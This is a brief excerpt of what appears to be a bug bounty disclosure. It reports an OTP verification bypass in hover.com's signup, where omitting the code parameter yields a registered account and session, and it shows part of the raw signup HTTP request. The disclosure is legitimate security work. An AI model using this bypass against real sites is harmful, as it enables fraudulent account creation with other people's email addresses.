Business Logic Error – Bypass of OTP Verification During Signup on hover.com
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原文摘录
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An attacker can register an account on www.hover.com using any email address without passing the required OTP verification. By omitting the code parameter entirely from the signup request, the backend completes the registration and returns a valid session. This constitutes a bypass of the OTP …
原文中的代码
POST /signup HTTP/2
Host: www.hover.com
Cookie: {{cookie}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/██████████ Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://www.hover.com/signup
Uzlc: true
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